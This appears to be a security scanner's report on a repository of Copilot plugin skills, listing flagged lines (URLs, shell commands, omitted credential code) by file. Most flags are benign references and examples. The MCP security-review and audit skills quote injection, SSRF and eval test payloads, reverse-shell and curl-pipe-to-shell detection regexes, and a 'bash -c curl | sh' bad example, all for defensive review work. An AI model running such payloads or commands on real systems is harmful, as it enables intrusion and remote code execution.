    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
  • Network accessline 63
    https://maven.apache.org/xsd/maven-4.0.0.xsd">

harness/github-copilot/plugins/learning-and-mentoring/skills/mentoring-juniors/SKILL.md

  • Network accessline 192
    - [Thomas Chmara](https://github.com/AGAH4X)
  • Network accessline 193
    - [François Descamps](https://github.com/fdescamps)

harness/github-copilot/plugins/linux-operations/skills/debian-linux-triage/SKILL.md

  • Dangerous shell operationline 26
    | Package state | `apt-cache policy <package>`; `dpkg -l | grep '^..r'`; `sudo dpkg --audit` | Finds held, half-configured, removed-but-configured, and dependency-broken packages. |
  • Dangerous shell operationline 39
    | Apt failure | `sudo apt update`; `sudo apt -f install`; `sudo dpkg --configure -a` after reading the error | Repository mismatch, held package, interrupted configure step. |
  • Dangerous shell operationline 49
    | Interrupted package configuration | `sudo dpkg --configure -a`, then `sudo apt -f install` if dependencies remain broken. | Removing `/var/lib/dpkg/` metadata. |
  • Dangerous shell operationline 50
    | Wrong or missing package | `sudo apt install --reinstall <package>` after checking `apt-cache policy`. | Installing random `.deb` files without source and dependency review. |
  • Dangerous shell operationline 51
    | Held package blocks upgrade | `apt-mark showhold`; unhold only the intended package with `sudo apt-mark unhold <package>`. | Blanket unhold of all packages. |

harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/modernization-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 28
    [Credential-related source omitted]

harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 36
    [Credential-related source omitted]

harness/github-copilot/plugins/mainframe-cobol-db2-classic/skills/sdd-requirements-engineer/references/ears-notation.md

  • Network accessline 103
    - Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25.
  • Network accessline 104
    - A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9).
  • Network accessline 105
    - University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.

harness/github-copilot/plugins/mainframe-cobol-db2/skills/cobol-db2-loop/scripts/cobol_db2_graph.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/mainframe-cobol-db2/skills/cobol-db2-loop/scripts/test_cobol_db2_graph.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/mainframe-cobol-db2/skills/modernization-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 28
    [Credential-related source omitted]

harness/github-copilot/plugins/mainframe-cobol-db2/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 36
    [Credential-related source omitted]

harness/github-copilot/plugins/mainframe-cobol-db2/skills/sdd-requirements-engineer/references/ears-notation.md

  • Network accessline 103
    - Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25.
  • Network accessline 104
    - A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9).
  • Network accessline 105
    - University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.

harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/modernization-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 28
    [Credential-related source omitted]

harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 36
    [Credential-related source omitted]

harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/sdd-requirements-engineer/references/ears-notation.md

  • Network accessline 103
    - Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25.
  • Network accessline 104
    - A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9).
  • Network accessline 105
    - University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.

harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-traceability/scripts/test_validate_traceability.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-traceability/scripts/validate_traceability.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/mainframe-natural-adabas/skills/modernization-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 28
    [Credential-related source omitted]

harness/github-copilot/plugins/mainframe-natural-adabas/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 36
    [Credential-related source omitted]

harness/github-copilot/plugins/mainframe-natural-adabas/skills/sdd-requirements-engineer/references/ears-notation.md

  • Network accessline 103
    - Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25.
  • Network accessline 104
    - A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9).
  • Network accessline 105
    - University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.

harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/sifap_loop_extract.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/sifap_loop_graph.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/test_sifap_loop_extract.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-loop/scripts/test_sifap_loop_graph.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-requirements-traceability/scripts/test_validate_traceability.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/mainframe-natural-adabas/skills/sifap-requirements-traceability/scripts/validate_traceability.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/SKILL.md

  • Network accessline 161
    - [ModelContextProtocol NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol)
  • Network accessline 162
    - [ModelContextProtocol API reference](https://csharp.sdk.modelcontextprotocol.io/api/ModelContextProtocol.html)
  • Network accessline 163
    - [EverythingServer sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/EverythingServer)

harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/client.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 39
    var transport = new HttpClientTransport(new HttpClientTransportOptions {     Endpoint = new Uri("https://my-server.example.com/mcp"),
  • Network accessline 40
    {     Endpoint = new Uri("https://my-server.example.com/mcp"),     TransportMode = HttpTransportMode.StreamableHttp,
  • Network accessline 41
    Endpoint = new Uri("https://my-server.example.com/mcp"),
  • Network accessline 182
    var transport = new HttpClientTransport(new HttpClientTransportOptions {     Endpoint = new Uri("https://my-server.example.com/mcp"),
  • Network accessline 183
    {     Endpoint = new Uri("https://my-server.example.com/mcp"),     KnownSessionId = previousSessionId
  • Network accessline 184
    Endpoint = new Uri("https://my-server.example.com/mcp"),

harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/elicitation.md

  • Network accessline 7
    > **2026-07-28 changes the rules on HTTP.** The current revision removes HTTP sessions and the server→client `elicitation/create` request, so **`ElicitAsync` cannot be used on 2026-07-28 Streamable HTTP at all** — a server with `Stateless =

harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/mcp-apps.md

  • Network accessline 3
    [MCP Apps](https://modelcontextprotocol.io/extensions/apps/overview) is the official extension that lets a tool return an **interactive UI** rendered in a sandboxed iframe inside the host (Claude, Claude Desktop, VS Code Copilot, Goose, Pos
  • Network accessline 5
    > **Important:** SDK 2.x ships a dedicated extension package, **`ModelContextProtocol.Extensions.Apps`**, with typed MCP Apps support: register with `.WithMcpApps()` and annotate tools with `[McpAppUi(ResourceUri = "ui://...")]`. It replace
  • Network accessline 15
    The full protocol spec is at [`@modelcontextprotocol/ext-apps`](https://github.com/modelcontextprotocol/ext-apps).
  • Network accessline 95
    ["resourceUri"] = "ui://charts/interactive"                 // Optionally:                 // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" },
  • Network accessline 96
    // Optionally:                 // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" },                 // ["permissions"] = new JsonArray("clipboard-write")
  • Network accessline 97
    // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" },
  • Network accessline 148
    <div id="root">Loading…</div>     <script type="module">       import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1";
  • Network accessline 150
    import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1";
  • Network accessline 174
    **Tip:** for non-trivial UIs, build with Vite (React/Vue/Svelte/Solid — any of the [official starter templates](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples)) and have the build emit a single inlined HTML you embed as
  • Network accessline 209
    For pure-UI iteration, [MCP Inspector](https://github.com/modelcontextprotocol/inspector) shows resource contents but does not fully render apps; for that, point Claude Desktop at your dev server.

harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/packages.md

  • Network accessline 5
    All packages live under the [`ModelContextProtocol` NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol). The official C# SDK repo is [`modelcontextprotocol/csharp-sdk`](https://github.com/modelcontextprotocol/csharp-sdk), ma
  • Network accessline 24
    **Upgrading 1.x → 2.0 (highlights, not exhaustive):** stable v1.x APIs keep working; the deprecated capabilities (roots, sampling, logging) are now `[Obsolete]` with `MCP9005` warnings, experimental APIs moved (the 1.4.x Tasks surface → `Mo

harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/testing.md

  • Network accessline 7
    [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is the go-to tool for trying out a server by hand. It launches your server, connects via STDIO or HTTP, and gives you a UI to list/call tools, view resources, fire elicitati
  • Network accessline 25
    Start the server normally (`dotnet run`), then in Inspector pick "Streamable HTTP" and enter the URL (e.g. `http://localhost:3001`).
  • Network accessline 166
    - **"LLM keeps misusing the tool":** open Inspector and look at the schema/description as the LLM sees it. Most "the model is dumb" issues are actually missing `[Description]`. - **"Sampling/elicitation throws 'method not supported'":** the
  • Network accessline 168
    - **"HTTP returns 404 for /":** check `app.MapMcp()` is called *and* you're hitting the right path. `MapMcp("/mcp")` means the URL is `http://host/mcp`, not `http://host/`.

harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/transport-http.md

  • Network accessline 44
    app.Run("http://localhost:3001");
  • Network accessline 78
    Match this on the client side (`Endpoint = new Uri("https://host/mcp/v1")`).
  • Network accessline 103
    Inside a tool, you can also inject `IHttpContextAccessor` if `AddHttpContextAccessor()` is registered. See the [`AspNetCoreMcpPerSessionTools` sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/AspNetCoreMcpPerSess
  • Network accessline 123
    For OAuth flows where the *MCP server* is the resource server, follow the [MCP authorization spec](https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization). The [`ProtectedMcpServer` sample](https://github.com/modelcont
  • Network accessline 142
    builder.Services.AddCors(o => o.AddDefaultPolicy(p =>     p.WithOrigins("https://my-host.example.com")
  • Network accessline 143
    p.WithOrigins("https://my-host.example.com")

harness/github-copilot/plugins/mcp-development/skills/dotnet-mcp-builder/references/transport-stdio.md

  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Network accessline 142
    The cleanest workflow is [MCP Inspector](https://github.com/modelcontextprotocol/inspector):

harness/github-copilot/plugins/mcp-development/skills/mcp-builder/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/plugins/mcp-development/skills/mcp-builder/SKILL.md

  • Network accessline 47
    Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml`
  • Network accessline 49
    Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`).
  • Network accessline 66
    **For TypeScript (recommended):** - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
  • Network accessline 67
    - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
  • Network accessline 70
    **For Python:** - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 71
    - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 208
    ### Core MCP Documentation (Load First) - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix
  • Network accessline 209
    - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix
  • Network accessline 217
    ### SDK Documentation (Load During Phase 1/2) - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 218
    - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 219
    - **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`

harness/github-copilot/plugins/mcp-development/skills/mcp-builder/reference/evaluation.md

  • Access to secretsline 398
    [Credential-related source omitted]
  • Access to secretsline 440
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Network accessline 454
    python scripts/evaluation.py \   -t sse \   -u https://example.com/mcp \
  • Network accessline 455
    [Credential-related source omitted]
  • Network accessline 456
    -u https://example.com/mcp \
  • Network accessline 467
    python scripts/evaluation.py \   -t http \   -u https://example.com/mcp \
  • Network accessline 468
    [Credential-related source omitted]
  • Network accessline 469
    -u https://example.com/mcp \
  • Access to secretsline 557
    [Credential-related source omitted]

harness/github-copilot/plugins/mcp-development/skills/mcp-builder/reference/node_mcp_server.md

  • Dangerous shell operationline 541
    "clean": "rm -rf dist"
  • Network accessline 600
    // Constants const API_BASE_URL = "https://api.example.com/v1";
  • Network accessline 601
    const API_BASE_URL = "https://api.example.com/v1";
  • Access to secretsline 707
    [Credential-related source omitted]
  • Access to secretsline 708
    [Credential-related source omitted]
  • Access to secretsline 719
    [Credential-related source omitted]
  • Access to secretsline 720
    [Credential-related source omitted]
  • Network accessline 737
    const port = parseInt(process.env.PORT || '3000');   app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);
  • Network accessline 738
    app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);   });
  • Network accessline 739
    console.error(`MCP server running on http://localhost:${port}/mcp`);

harness/github-copilot/plugins/mcp-development/skills/mcp-builder/reference/python_mcp_server.md

  • Network accessline 42
    **For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 43
    `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 233
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 234
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 235
    async with httpx.AsyncClient() as client:
  • Network accessline 251
    # Good: Async network request async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:
  • Network accessline 252
    async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:         response = await client.get(f"{API_URL}/resource/{resource_id}")
  • Network accessline 253
    async with httpx.AsyncClient() as client:
  • Network accessline 258
    # Bad: Synchronous request def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 259
    def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks     return response.json()
  • Network accessline 260
    response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 352
    # Constants API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 353
    API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 382
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 383
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 384
    async with httpx.AsyncClient() as client:
  • Access to secretsline 511
    [Credential-related source omitted]
  • Access to secretsline 517
    [Credential-related source omitted]

harness/github-copilot/plugins/mcp-development/skills/mcp-builder/scripts/connections.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/mcp-development/skills/mcp-builder/scripts/evaluation.py

  • Executable scriptline 1
    Executable file
  • Network accessline 315
    [Credential-related source omitted]
  • Network accessline 318
    python evaluation.py -t http -u https://example.com/mcp -m claude-3-5-sonnet-20241022 eval.xml

harness/github-copilot/plugins/mcp-development/skills/mcp-implementation-security-review/SKILL.md

  • Network accessline 104
    | Vector | Dangerous code | Safe alternative | Test payload | CWE | | --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `e
  • Network accessline 105
    | --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", us
  • Dangerous shell operationline 106
    | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm
  • Network accessline 106
    | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm
  • Dangerous shell operationline 107
    | Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist. | `__import__('os').system('whoami')`, `require('child_process').exec('
  • Network accessline 110
    | SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only. | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>` must not render `49`. | CWE-
  • Network accessline 112
    | SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending. | `http://169.254.169.254/latest/meta-data/`, `http
  • Network accessline 195
    - [MCP specification 2025-03-26](https://modelcontextprotocol.io/specification/2025-03-26)
  • Network accessline 196
    - [MCP specification 2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)

harness/github-copilot/plugins/mcp-development/skills/mcp-security-audit/SKILL.md

  • Network accessline 67
    (r'(?i)bash\s+-c\s', "bash -c execution"),     (r'(?i)sh\s+-c\s', "sh -c execution"),     (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),
  • Network accessline 68
    (r'(?i)sh\s+-c\s', "sh -c execution"),     (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),     (r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"),
  • Dangerous shell operationline 69
    (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),
  • Network accessline 69
    (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),
  • Network accessline 70
    (r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"),
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Network accessline 149
    [Credential-related source omitted]
  • Access to secretsline 150
    [Credential-related source omitted]
  • Dangerous shell operationline 151
    | `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` |
  • Network accessline 151
    | `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` |
  • Access to secretsline 177
    [Credential-related source omitted]
  • Network accessline 185
    - [MCP Specification](https://modelcontextprotocol.io/)
  • Network accessline 186
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 187
    - [OWASP ASI-02: Insecure Tool Use](https://genai.owasp.org/)

harness/github-copilot/plugins/mcp-development/skills/webmcpify/SKILL.md

  • Network accessline 6
    license: MIT metadata:   source: "https://github.com/TueJon/webmcpify"
  • Network accessline 7
    metadata:   source: "https://github.com/TueJon/webmcpify" ---
  • Network accessline 8
    source: "https://github.com/TueJon/webmcpify"
  • Network accessline 36
    - WebMCP is an evolving origin-trial API from the W3C Web Machine Learning Community Group: https://webmachinelearning.github.io/webmcp/
  • Network accessline 80
    "typescript": true,     "entry": "src/main.tsx",     "baseUrl": "http://localhost:5173",
  • Network accessline 81
    "entry": "src/main.tsx",     "baseUrl": "http://localhost:5173",     "startCommand": "npm run dev",
  • Network accessline 82
    "baseUrl": "http://localhost:5173",
  • Access to secretsline 99
    [Credential-related source omitted]
  • Access to secretsline 194
    [Credential-related source omitted]
  • Network accessline 203
    - [WebMCP draft](https://webmachinelearning.github.io/webmcp/)
  • Network accessline 204
    - [webmcpify source](https://github.com/TueJon/webmcpify)

harness/github-copilot/plugins/mcp-development/skills/webmcpify/references/heal.md

  • Network accessline 51
    if (process.env.WEBMCP_LIVE_MUTATIONS === '1') {   await page.route('**/api/contact', async (route) => {     const response = await context.request.fetch(route.request(), {
  • Network accessline 52
    await page.route('**/api/contact', async (route) => {     const response = await context.request.fetch(route.request(), {       headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin
  • Network accessline 53
    const response = await context.request.fetch(route.request(), {
  • Network accessline 54
    headers: { ...route.request().headers(), origin: 'https://example.com' }, // the prod Origin

harness/github-copilot/plugins/mcp-development/skills/webmcpify/references/inventory.md

  • Instruction override signalline 45
    *Initiation tools only navigate/open the flow — the human completes it. They are classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools
  • Instruction override signalline 46
    classified non-mutating (no data changes) **but must NOT carry `readOnlyHint`**: they change UI state, and agents skip confirmations for hinted-read-only tools. `readOnlyHint: true` is reserved for genuinely pure data reads.
  • Instruction override signalline 47
    they change UI state, and agents skip confirmations for hinted-read-only tools.

harness/github-copilot/plugins/mcp-development/skills/webmcpify/references/runtime.md

  • Network accessline 27
    | `isWebMCPAvailable()` | Feature detection — the app must work identically without WebMCP | | `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: 
  • Network accessline 28
    | `createToolScope(key, tools, options?)` | Registers a tool set under one AbortController; returns a **callable dispose handle** carrying `ready: Promise<boolean>` (true = all registrations committed; false = no WebMCP / duplicate key / fa
  • Network accessline 29
    | `dispatchAndWait(event, detail?, timeoutMs?)` | Bridges `execute()` to the app's own event/state flow. The dispatched detail carries `requestId` plus `signal` — an AbortSignal aborted on timeout; pass it to `fetch()` and skip state commit

harness/github-copilot/plugins/mcp-development/skills/webmcpify/references/security.md

  • Instruction override signalline 48
    consent decisions from it). - [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip       confirmation based on it; mislabeling is the worst single mistake).
  • Instruction override signalline 49
    - [ ] `readOnlyHint: true` ONLY on genuinely pure data reads (agents skip       confirmation based on it; mislabeling is the worst single mistake). - [ ] `untrustedContentHint: true` on every tool returning user-generated or

harness/github-copilot/plugins/mcp-development/skills/webmcpify/references/verify.md

  • Network accessline 100
    }); EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \
  • Network accessline 101
    EOF WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \ NODE_PATH=/tmp/webmcpify-harness/node_modules npx playwright test
  • Network accessline 102
    WEBMCP_SPEC_DIR=<target-repo>/.webmcpify WEBMCP_BASE_URL=http://localhost:5173 \
  • Network accessline 112
    **Alternative:** Puppeteer ships a first-class experimental WebMCP API (https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses
  • Network accessline 113
    (https://pptr.dev/guides/webmcp) — prefer it when the target repo already uses

harness/github-copilot/plugins/mcp-development/skills/webmcpify/templates/webmcp-jsx.d.ts

  • Network accessline 1
    /**  * React JSX typings for the declarative WebMCP attributes — vendored from  * https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * React JSX typings for the declarative WebMCP attributes — vendored from  * https://github.com/TueJon/webmcpify  *
  • Network accessline 3
    * https://github.com/TueJon/webmcpify
  • Network accessline 25
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 26
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 27
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE

harness/github-copilot/plugins/mcp-development/skills/webmcpify/templates/webmcp.d.ts

  • Network accessline 1
    /**  * Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * Ambient types for the WebMCP API — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 27
    *  * registerTool/ontoolchange/annotations/getTools follow the CG draft  * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only
  • Network accessline 28
    * registerTool/ontoolchange/annotations/getTools follow the CG draft  * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only  * extension not yet in the draft. This API is in flux — re-check against the
  • Network accessline 29
    * (https://webmachinelearning.github.io/webmcp/); executeTool is a Chrome-only
  • Network accessline 30
    * extension not yet in the draft. This API is in flux — re-check against the  * draft and https://developer.chrome.com/docs/ai/webmcp when updating.  *
  • Network accessline 31
    * draft and https://developer.chrome.com/docs/ai/webmcp when updating.

harness/github-copilot/plugins/mcp-development/skills/webmcpify/templates/webmcp.spec.ts

  • Network accessline 1
    /**  * webmcpify verification template — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * webmcpify verification template — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 42
    const BASE_URL = process.env.WEBMCP_BASE_URL ?? 'http://localhost:5173';

harness/github-copilot/plugins/mcp-development/skills/webmcpify/templates/webmcpify.js

  • Network accessline 1
    /**  * webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify
  • Executable scriptline 1
    Executable file
  • Network accessline 2
    * webmcpify runtime (JavaScript variant) — vendored from https://github.com/TueJon/webmcpify
  • Network accessline 24
    * SOFTWARE.  *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 25
    *  * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE  *
  • Network accessline 26
    * Full text: https://github.com/TueJon/webmcpify/blob/main/LICENSE
  • Network accessline 139
    * Bridge execute() to the app's own event/state flow. The dispatched detail  * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the
  • Network accessline 140
    * carries `{ ...detail, requestId, signal }` — `signal` is an AbortSignal aborted  * on timeout; handlers should pass it to fetch() and skip state commits and the  * completion dispatch once aborted. Resolves only after the component confir
  • Network accessline 141
    * on timeout; handlers should pass it to fetch() and skip state commits and the

